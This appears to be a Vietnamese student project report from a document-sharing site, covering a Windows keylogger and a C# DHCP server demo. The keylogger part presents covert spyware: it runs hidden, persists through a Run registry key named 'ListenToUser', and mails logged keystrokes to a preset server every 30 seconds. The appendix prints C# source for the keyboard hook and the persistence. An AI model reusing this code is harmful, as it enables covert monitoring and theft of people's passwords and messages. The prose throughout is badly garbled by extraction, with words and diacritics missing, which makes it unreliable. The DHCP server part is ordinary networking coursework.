Chương trình DHCP Server, chương trình Keylogger

43 33 0
  • Loading ...
1/43 trang

Thông tin tài liệu

Ngày đăng: 26/11/2018, 15:52

bài luận có 2 phần, hệ điều hành và lập trình mạngbên hệ điều hành là chương trình keylogger cho phép lưu lại các ký tự bàn phím khi chúng ta bấm trên máy tính.Chương trình Demo dịch vụ DHCP Server, cho phép các client có địa chỉ IP tự động trong mạng LAN, như dịch vụ DHcp trên các con router, hay các máy chủ win server. có chương trình demo Mục Lục Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Danh sách hình vẽ SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Danh sách từ viết tắt API: Application Programming Interface DHCP: Dynamic Host Configuration Control Protocol DNS: Domain Name System FTP: File Transfer Protocol GAN: Global Area Network HTTP: Hyper Text Transfer Protocol IP: Internet Protocol LAN: Local Area Network MAC: Media Access Control MAN: Metropolitan Area Network RAM: Random Access Memmory SMTP: Simple Mail Transfer Protocol TCP: Transmission Control Protocol UDP: User Datagram Protocol SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn MỞ ĐẦU Máy tính mạng máy tính có vai trò quan trọng sống ngày Ngày lĩnh vực cần đến máy tính, máy tính hữu ích với Chính nhờ có máy tính phát triển làm cho khoa học kỹ thuật phát triển vượt bậc, kinh tê phát triển nhanh chóng thần kỳ Cùng với đời phát triển máy tính mạng máy tính vấn đề bảo mật thông tin, ngăn chặn xâm nhập đánh cắp thơng tin máy tính thơng tin cá nhân mạng máy tính mà ngày có nhiều trojan, keylogger, malware mạng xâm nhập vào máy tính Và đồng thời việc hoạt động máy tính mạng LAN vấn đề quan trọng Được hướng dẫn nhiệt tình chu đáo thầy Phạm Minh Tuấn, em tìm hiểu nghiên cứu Đồ án Cơ sở ngành Mạng: Đề tài 1: Tìm hiểu Keylogger – Đề tài 2: Chương trình DHCP Server Đồ án trình bày vấn đề tổng quan cách thức hoạt động Keylogger, DHCP Server Lần học phần đồ án có kết hợp hai mảng kiến thức hội cho sinh viên nghiên cứu trau dồi thêm kiến thức học, đặc biệt kiến thức học phần Mạng máy tính, Nguyên lý hệ điều hành, Lập trình Net, Lập trình Mạng Đồ án cột mốc mà kĩ khả lập trình sinh viên lại thêm bước xuất mảng kiến thức lạ, bắt buộc sinh viên phải tự tìm hiều nhiều Do nội dung đồ án rộng bao gồm nhiều kiến thức mẻ, thời gian kiến thức hạn chế, việc nghiên cứu chủ yếu dựa lý thuyết nên chắn đồ án khơng tránh khỏi thiếu sót Em mong nhận đóng góp ý kiến thầy giáo bạn bè Đà Nẵng, tháng 05 năm 2018 Sinh viên Trịnh Minh Triều SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn PHẦN 1: NGUYÊN LÝ HỆ ĐIỀU HÀNH TIÊU ĐỀ: Chương trình ghi lại thao tác bàn phím Keylogger GIỚI THIỆU ĐỀ TÀI Trong khuôn khổ Đồ Án môn học, gợi ý thầy Phạm Minh Tuấn, em chọn đề tài Keylogger – sử dụng Hook windows Khi mà thị trường windows chiếm 90% giới việc nghiên cứu tính quan trọng, windows làm em hứng thú Hơn việc thực đề tài giúp em biết rõ kỹ thuật phần mềm gián điệp, ăn cắp thơng tin để biết cách phòng tránh CHƯƠNG 1: CƠ SỞ LÝ THUYẾT I Lý thuyết hệ điều hành Nếu khơng có phần mềm, máy tính thiết bị điện tử thông thường Với hỗ trợ phần mềm, máy tính lưu trữ, xử lý thơng tin người dùng gọi lại thơng tin Phần mềm máy tính chia thành nhiều loại: chương trình hệ thống, quản lý hoạt động máy tính, chương trình ứng dụng, giải vấn đề liên quan đến việc sử dụng khai thác máy tính người dùng Hệ điều hành thuộc nhóm chương trình hệ thống chương trình hệ thống quan trọng máy tính người sử dụng Hệ điều hành điều khiển tất tài ngun máy tính cung cấp mơi trường thuận lợi để chương trình ứng dụng người sử dụng viết chạy máy tính II Tổng quan Keylogger Keylogger Keylogger thường phần mềm nhỏ gọn – đơi lúc nguy hiểm chí thiết bị phần cứng – với khả ghi lại phím bấm mà người dùng nhấn bàn phím Tổng hợp kết tổ hợp phím này, kẻ cài đặt Keylogger thu tin nhắn cá nhân, nội dung email, số thẻ tín dụng dĩ nhiên nguy hiểm loại mật Những thơng tin Keylogger thu thập? Tùy loại keylogger mục đích người tạo mà có khả khác nhau, gắn thiết bị, thường thực thao tác sau: • Ghi lại mật người dùng nhập thiết bị • Chụp ảnh hình thiết bị theo chu kỳ định • Ghi lại URL mà người dùng vào trình duyệt, chí chụp ảnh trang web người dùng xem SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Ghi lại danh sách ứng dụng người dùng chạy thiết bị Chụp ghi tất tin nhắn tức thời (Zalo, Facebook Messenger, Skype, …) • Chụp email gửi • Tự động gửi báo cáo chứa ghi lưu trữ gửi email đến địa điểm từ xa thông qua email, FTP, HTTP Hầu hết keylogger không ghi lại thao tác bàn phím người dùng mà chụp hình máy tính Keylogger lưu trữ liệu mà thu thập ổ cứng người dùng tự động truyền qua mạng tới máy tính từ xa Web Server Cách thức hoạt động Keylogger • • Keylogger dạng phẩn mềm thường chạy ngầm máy, ghi lại phím bấm mà người dùng nhập vào Đôi lúc để tránh việc gửi liệu thường xuyên khiến việc theo dõi bị người dùng “chú ý”, gói phần mềm thiết kế để gửi chuỗi liệu hữu dụng – chẳng hạn chuỗi số “có vẻ” giống mã tín dụng Để tăng tính hiệu quả, keylogger thường kết hợp với số loại phần mềm theo dõi khác, nhờ kẻ xâm nhập phân biệt thơng tin mà người dùng nhập vào chat chit vô nghĩa với thông tin nhập vào đăng nhập vào tài khoản ngân hàng trực tuyến Các chuỗi kí tự người dùng nhập vào sau khởi động chương trình chat, email client hay game online quan trọng – thường chuỗi username pasword dùng để đăng nhập vào tài khoản dịch vụ Với trường hợp cần “chăm sóc” tỉ mỉ hơn, kẻ cài đặt keylogger thường phải sử dụng cơng cụ để qt qua tồn file log ghi lại tất người dùng nhập vào suốt thời gian bị theo dõi, từ lọc thơng tin nội dung tìm kiếm Google, comment topic, … Thường gói phần mềm theo dõi cung cấp cho bật phụ huynh cơng sở tích hợp tiện ích chụp ảnh hình Từ cung cấp đầy đủ thông tin chứng mà “nạn nhân” làm suốt trình sử dụng máy Cách Keylogger xâm nhập vào máy tính Trong đa số trường hợp, keylogger malware cài đặt cách âm thầm lên máy người dùng sau thâm nhập thành công Một số trường hợp khác có phần gặp cha mẹ muốn quản lý truy cập cái, quản lý công ty muốn kiểm tra thái độ làm việc nhân viên công ty, … Như nói trên, đa số keylogger máy tính phổ thơng phát tán qua malware Nếu máy tính người dùng bị thâm nhập, đoạn mã độc mang sẵn chức phần mềm keylogger nhỏ gọn – hoạt động Trojan, tiến hành tải cài đặt gói keylogger SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn cách âm thầm Thường malware tự động thiết lập kênh để gửi thông tin mà keylogger thu cho “chủ nhân” Có thể nói keylogger cơng cụ tin tặc ưa chuộng chúng thu loại thông tin người dùng phương pháp CHƯƠNG 2: PHÂN TÍCH THIẾT KẾ HỆ THỐNG I - II Phân tích yêu cầu Yêu cầu chức Keylogger chương trình gián điệp phải có chức như: Chạy ứng dụng nền, chiếm tài nguyên hệ thống Khởi động hệ thống Ghi lại phím bấm gửi chúng lên server thiết lập từ trước Yêu cầu tương thích Ứng dụng phải hoạt động Windows Chiếm dung lượng lưu trữ, dung lượng RAM hoạt động Chiếm băng thơng gửi file log lên server Thiết kế hệ thống Kỹ thuật Hook a Hook gì? Hook chế mà ứng dụng chặn kiện thông điệp, thao tác chuột, thao tác phím, … Hàm dùng để chặn loại kiện riêng biệt gọi hook proceduce / hook function Mỗi nhận kiện, hoook proceduce thay đổi hủy bỏ kiện b Ứng dụng Hook - Cho phép tạo chương trình hỗ trợ gõ tiếng Việt Unikey, EVKey, … - Tạo chương trình test tự động phần mềm - Tạo chương trình thay đổi giao diện ứng dụng chạy - Bắt giả lập thông điệp bàn phím, chuột - Cung cấp phím chức trợ giúp cho ứng dụng - Tạo chức debug, … c Các kiểu Hook Tùy vào tham số gọi hàm cài đặt hook cách thức xử lý kiện, có kiều Hook: o WH_CALLWNDPROC: Xử lý định nghĩa tất thông điệp hệ thống SendMessage gọi o WH_GETMESSAGE: Xử lý định nghĩa tất thông điệp hệ thống GetMessage PeekMessage gọi SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng o o o o o o o o o o o GVHD: Phạm Minh Tuấn WH_JOURNALPLAYBACK WH_JOURNALRECORD: Thu phát lại kiện keyboard mouse WH_KEYBOARD: Xử lý, định nghĩa hủy bỏ tất kiện bàn phím WH_MOUSE: Xử lý, định nghĩa hủy bỏ tất kiện chuột WH_SYSMSGFILTER: Xử lý định nghĩa tất thông điệp cho dialog box, message box, scroll bar, menu hệ thống WH_SHELL: Một ứng dụn sử dụng móc WH_SHELL để nhận thông báo quan trọng, hệ thống gọi thủ tục móc WH_SHELL ứng dụng kích hoạt cửa sổ cấp cao tạo bị phá hủy WH_MOUSE_LL: Cho phép bạn theo dõi kiện đầu vào chuột để đăng chủ đề hàng đợi đầu vào WH_KEYBOARD_LL: Cho phép bạn theo dõi kiện đầu vào bàn phím đăng chủ đề hàng đợi đầu vào WH_CALLWNDPROCRET: hook cho phép bạn theo dõi tin nhắn gửi đến cửa sổ, hệ thống gọi thủ tục hook WH_CALLWNDPROC trước qua tin nhắn đến cửa sổ tiếp nhận, gọi cá thủ tục móc WH_CALLENDPROCRET sau thủ tục cửa sổ xử lý tin nhắn WH_CBT: Đặt thủ tục hook nhận thơng báo có ích tới ứng dụng huấn luyện sở tính tốn (CBT) WH_DEBUG: Đặt thủ tục hook có ích cho việc debug thủ tục hook khác WH_FOREGROUNDIDLE: Cho phép bạn thực nhiệm vụ ưu tiên thấp thời kì đề tiền cảnh nhàn rỗi Thiết kế chương trình Hình Sơ đồ hoạt động Keylogger SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Chương trình chia làm phần chính: a Hook phím lưu file log Chương trình kiểm tra hết tất tiến trình chạy, lấy mã PID chương trình hành gọi tới hàm để hook phím, nhiên hook phím trả lại phím cho hệ thống khơng nuốt ln phím Khi hook phím, chương trình kiểm tra xem phím bấm lưu thành file txt ổ đĩa cứng b Gửi file lên mail – server Chương trình dùng thư viện Timer Net để kiểm tra thời gian, khoảng thời gian cài đặt trước chương trình gửi file log lên mail – server thiết lập trước Chương trình có chức để kiểm tra có kết nối hay khơng gửi file lên mail Thuật tốn Bước 1: Tạo khóa register để khởi chạy hệ thống Bước 2: Lấy tiến trình tại, tạo cho chương trình tiến trình Bước 3: Sử dụng SetWindowsHookEx tiêm chương trình vào sâu hệ thống 3.1: Lấy phím nhấn, lưu vào file 3.2 Trả lại phím nhấn cho tiến trình cần phím Bước 4: Khởi tạo thời gian gửi lên server 4.1: Có internet 30s gửi lên mail – server lần 4.2: Khơng có internet qua lại bước 3.1 CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ I Triển khai Vì khn khổ đồ án, em đóng gói chương trình keylogger thành chương trình bình thường với file exe Khi khởi chạy chương trình, chương trình tạo register startup để khởi động hệ thống, chương trình chạy làm cho khó phát II Đánh giá kết Kết chương trình SVTH: Trịnh Minh Triều Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Hình File log Hình Keylog nằm startup windows Ưu điểm • Chương trình ghi lại phím nhấn gửi lên mail – server liên tục khoảng thời gian định trước thuận tiện cho việc theo dõi, giám sát người sử dụng máy tính • Khởi chạy hệ thống, giúp cho chương trình ln ln khởi chạy • • • • máy tính bật lên Chạy nền, người sử dụng máy tính khó biết bị giám sát Nhược điểm Là chương trình đơn giản, phải cài đặt trực tiếp Máy tính phải có kết nối internet gửi file log ngồi Khơng điều khiển từ xa KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN I Kết luận Hiểu biết hệ điều hành sâu hơn, tìm hiểu rõ kỹ thuật Hook, cách thức hook phím, số thư viện API có sẵn Windows, cách thức hệ điều hành làm việc với phím SVTH: Trịnh Minh Triều 10 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn listIP[i] = GetNextIpAddress(startIP, i); } } else if (timeIP[i] > 0) { timeIP[i] = 0; listMac = null; listIP[i] = GetNextIpAddress(startIP, i); } } } } II Đánh giá kết Kết chương trình Chương trình chạy: Hình 12 DHCP Server SVTH: Trịnh Minh Triều 29 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn Hình 13 Client cấp IP động Các gói tin lúc DHCP hoạt động bắt lại Wireshare: Hình 14 Các gói tin bắt lúc khởi chạy chương trình Ưu điểm Sử dụng máy chủ DHCP giúp doanh nghiệp cung cấp host dễ dàng quản lý khách hàng tài nguyên nhờ ưu điểm máy chủ DHCP: • Quản lý TCP/IP tập trung: Máy chủ DHCP quản lý địa IP tham số TCP/IP hình quản lý Như thuận tiện cho việc theo dõi thơng số, quản lý máy trạm • Giảm gánh nặng quản lý hệ thống: IP đánh số tự động nhờ máy chủ DHCP giúp cho người quản lý hệ thống quản lý IP khoa học nhầm lẫn khơng sửa đổi địa IP • Giúp hệ thống mạng ln ổn định: Việc IP đánh tự động máy chủ DHCP giúp cho địa IP Không trùng lặp IP giảm bớt cố, giúp hệ thống mạng ln hoạt động ổn định • Khả mở rộng linh hoạt: Người quản trị dễ dàng thay đổi cấu hình, thơng số kỹ thuật địa IP giúp cho việc cấp sở hạ tầng mạng thuận tiện, dễ dàng Nhược điểm • Khi DHCP khơng khả dụng client truy cập vào mạng SVTH: Trịnh Minh Triều 30 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn DHCP sử dụng giao thức UDP để truyền nên khơng đảm bảo gói tin tính bảo mật • DNS khơng thể cấu hình client • KẾ LUẬN VÀ HƯỚNG PHÁT TRIỂN I Kết luận Thông qua đồ án em hiểu rõ giao thức TCP/IP, cách hoạt động DHCP, cách truyền liệu qua giao thức UDP Chương trình DHCP Server cấp phát dãy địa IP cho Client kết nối đến Server Truyền liệu theo mơ hình Client – Server thơng qua giao thức UDP II Hướng phát triển Chương trình DHCP Server cho phép tạo dãy địa IP, sau phát triển lên tạo nhiều dãy địa IP, cho phép nhiều mạng kết nối đến Server Chương trình chạy hệ điều hành khác UNIX LINUX, Windows, … Chương trình cấu hình nhiều tùy chọn khác SVTH: Trịnh Minh Triều 31 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn KẾT LUẬN CHUNG Thông qua đồ án Cơ sở ngành mạng em tìm tòi học hỏi nhiều điều, hiểu sâu kiến thức liên quan đến hệ điều hành, cách truyền liệu mạng Từ em tìm hiểu hoạt động Keylogger – loại Trojan máy tính, có khả lưu lại thao tác bàn phím hệ điều hành Windows Keylogger có khả chạy ẩn hệ thống, chiếm tài nguyên hệ thống nên người bị cài keylogger khó phát bị nhiễm keylog, khả gửi file log lên mail – server Em tìm hiểu DHCP Server, loại dịch vụ cần thiết cho máy tính mạng LAN cơng ty, trường học, trung tâm,… có khả cung cấp địa IP động cho máy tính Được tìm hiểu DHCP Server, em hiểu sâu cách thức mà DHCP hoạt động, cách truyền liệu mạng thông qua giao thức UDP, ôn lại kiến thức học từ môn Lập Trình Mạng Rèn luyện kỹ tổng hợp kiến thức phương diện, khả thiết kế lập trình, khả thuyết trình bảo vệ đồ án SVTH: Trịnh Minh Triều 32 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn TÀI LIỆU THAM KHẢO [1] – https://msdn.microsoft.com/en-us/library/windows/desktop/ms645530(v=vs.85).aspx [2] – https://msdn.microsoft.com/en-us/library/system.net(v=vs.110).aspx [3] – https://google.com [4] – https://stackoverflow.com/ [5] – https://www.ietf.org/rfc/rfc2131.txt [6] – https://tools.ietf.org/html/rfc2132 [7] – http://www.tomshardware.com/faq/id-1932036/dhcp-server-assigns-addresses-clientcomputers.html [8] – Nguyên lý hệ điều hành – Trần Hồ Thủy Tiên [9] – Lập trình mạng với Net (bản điện tử) [10] - NET toàn tập – Dương Văn Thiện SVTH: Trịnh Minh Triều 33 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn PHỤ LỤC I Mã nguồn Keylogger Một số hàm File Program.cs private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; //code when press private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; //handle private string hWndTitle; private string hWndTitlePast; public static string open = ""; #region "API Windows" [DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId); [DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hInstance); [DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("user32.dll")] static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfor); [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] SVTH: Trịnh Minh Triều 34 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn static extern bool SetForegroundWindow(IntPtr hWnd); #endregion private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); static void Main(string[] args) { _hookID = SetHook(_proc); appstart.startup(); System.Timers.Timer timer; timer = new System.Timers.Timer(); timer.Elapsed += new ElapsedEventHandler(appstart.OnTimeEvent); timer.AutoReset = true; timer.Interval = 30000; timer.Start(); Application.Run(); GC.KeepAlive(timer); //get lan UnhookWindowsHookEx(_hookID); } private static IntPtr SetHook(LowLevelKeyboardProc proc) { //get all process using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { //get one process SVTH: Trịnh Minh Triều 35 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn //hook return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); WriteLog(vkCode); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } Một số hàm File appstart.cs public static void startup() { RegistryKey regkey = Registry.CurrentUser.CreateSubKey("Software\\ListenToUser"); RegistryKey regstart = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentV ersion\\Run"); string keyvalue = "1"; try { regkey.SetValue("Index", keyvalue); regstart.SetValue("ListenToUser", Application.StartupPath + "\\" + Application.ProductName + ".exe"); regkey.Close(); } catch (System.Exception ex) { } } II Mã nguồn DHCP Server Một số hàm file Form1.cs SVTH: Trịnh Minh Triều 36 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn public string boolIP(string MacId) { for (uint i = 0; i < listMac.Length; i++) { if (MacId == listMac[i]) { return GetNextIpAddress(startIP, i); } } for (uint i = 0; i < listIP.Length; i++) { if (listIP[i] != null) { listMac[i] = MacId; timeIP[i] = leaseTime * 1000; String temp = listIP[i]; listIP[i] = null; return temp; } } return null; } public void cDhcp_Offer(cDHCPStruct d_DHCP, string MacId) { string str = String.Empty; //options should be filled with data d_DHCP.dData.IPAddr = boolIP(MacId); d_DHCP.dData.SubMask = subnetMask; d_DHCP.dData.LeaseTime = leaseTime; d_DHCP.dData.ServerName = "DHCP Server by Tkieu"; d_DHCP.dData.MyIP = AdapterIP; d_DHCP.dData.RouterIP = default_gateway; d_DHCP.dData.LogServerIP = "0.0.0.0"; d_DHCP.dData.DomainIP = "8.8.8.8"; str = "IP requested for Mac: " + MacId; SVTH: Trịnh Minh Triều 37 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn cDhcp.SendDHCPMessage(DHCPMsgType.DHCPOFFER, d_DHCP); SimpleDelegate lst = delegate { listBox1.Items.Add(str); }; Invoke(lst); } public void cDhcp_Acknowledge(cDHCPStruct d_DHCP, string MacId) { string str = string.Empty; //send the offer d_DHCP.dData.IPAddr = boolIP(MacId); d_DHCP.dData.SubMask = subnetMask; d_DHCP.dData.LeaseTime = leaseTime; d_DHCP.dData.ServerName = "DHCP Server by Trieu"; d_DHCP.dData.MyIP = AdapterIP; d_DHCP.dData.RouterIP = default_gateway; d_DHCP.dData.LogServerIP = "0.0.0.0"; d_DHCP.dData.DomainIP = "8.8.8.8"; cDhcp.SendDHCPMessage(DHCPMsgType.DHCPACK, d_DHCP); str = "IP " + d_DHCP.dData.IPAddr + " Assigned to Mac: " + MacId; SimpleDelegate lst = delegate { listBox1.Items.Add(str); }; Invoke(lst); } public void OnEventTime(object source, EventArgs e) { if (timeIP != null) { for (uint i = 0; i < timeIP.Length; i++) { SVTH: Trịnh Minh Triều 38 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn if (timeIP[i] >= 1000) { timeIP[i] -= 1000; if (timeIP[i] == 0) { listMac[i] = null; listIP[i] = GetNextIpAddress(startIP, i); } } else if (timeIP[i] > 0) { timeIP[i] = 0; listMac = null; listIP[i] = GetNextIpAddress(startIP, i); } } } } Một số hàm file cDHCP.cs //function to start the DHCP server //port 67 to recieve, 68 to send public void StartDHCPServer() { try { // start the DHCP server //assign the event handlers cUdp = new clsUDP(67, 68, NetCard); cUdp.DataRcvd += new clsUDP.DataRcvdEventHandler(cUdp_DataRcvd); } catch(Exception ex) { Console.WriteLine(ex.Message); } } public void cUdp_DataRcvd(byte[] DData, IPEndPoint RIpEndPoint) { cDHCPStruct ddHcpS; DHCPMsgType MsgTyp; string MacID; SVTH: Trịnh Minh Triều 39 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn try { ddHcpS = new cDHCPStruct(DData); MsgTyp = GetMsgType(ddHcpS); MacID = ByteToString(ddHcpS.dStruct.D_chaddr, ddHcpS.dStruct.D_hlen); switch (MsgTyp) { case DHCPMsgType.DHCPDISCOVER: Offer(ddHcpS, MacID); break; case DHCPMsgType.DHCPREQUEST: Acknowledge(ddHcpS, MacID); break; } } catch (Exception ex) { Console.WriteLine(ex.Message); throw ex; } } public void SendDHCPMessage (DHCPMsgType msgType, cDHCPStruct ddHcpS) { byte[] Subn, HostID, DataToSend; //shall Change the type to OFFER //set the client's IP Address try { ddHcpS.dStruct.D_op = 2; //reply //subnet mask Subn = IPAddress.Parse(ddHcpS.dData.SubMask).GetAddressBytes(); //create your ip address ddHcpS.dStruct.D_yiaddr = IPAddress.Parse(ddHcpS.dData.IPAddr).GetAddressBytes(); SVTH: Trịnh Minh Triều 40 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn //Host ID HostID = System.Text.Encoding.ASCII.GetBytes(ddHcpS.dData.ServerName); CreateOptionStruct(ref ddHcpS, msgType); //send the data DataToSend = BuildDataStructure(ddHcpS.dStruct); cUdp.SendData(DataToSend); } catch (Exception ex) { Console.WriteLine(ex.Message); } } Một số hàm file clsUDPAsync.cs public void IniListnerCallBack() { try { //Start the recieve call back method s.u.BeginReceive(new AsyncCallback(OnDataRecieved), s); } catch (Exception ex) { if (IsListening == true) Console.WriteLine(ex.Message); } } private void StartListener() { IPAddress ipAddress; IPEndPoint ipLocalEndPoint; try { IsListening = false; ipAddress = IPAddress.Parse(rcvCardIP); ipLocalEndPoint = new IPEndPoint(ipAddress, PortToListenTo); //if udpclient interface is active destroy if (s.u != null) SVTH: Trịnh Minh Triều 41 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn s.u.Close(); s.u = null; s.e = null; s = new UdpState(); s.e = ipLocalEndPoint; s.u = new UdpClient(ipLocalEndPoint); IsListening = true; //set to start listening //wait for data IniListnerCallBack(); } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { if (s.u == null) { Thread.Sleep(1000); StartListener(); } else { ipAddress = null; ipLocalEndPoint = null; } } } public void StopListener() { try { IsListening = false; if (s.u != null) s.u.Close(); s.u = null; s.e = null; } SVTH: Trịnh Minh Triều 42 Đồ Án Cơ Sở Ngành Mạng GVHD: Phạm Minh Tuấn catch (Exception ex) { Console.WriteLine(ex.Message); } } SVTH: Trịnh Minh Triều 43
- Xem thêm -

Xem thêm: Chương trình DHCP Server, chương trình Keylogger, Chương trình DHCP Server, chương trình Keylogger, II. Đánh giá kết quả, CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG, III. Cơ chế hoạt động của DHCP, TÀI LIỆU THAM KHẢO, II. Mã nguồn DHCP Server

Gợi ý tài liệu liên quan cho bạn

Nhận lời giải ngay chưa đến 10 phút Đăng bài tập ngay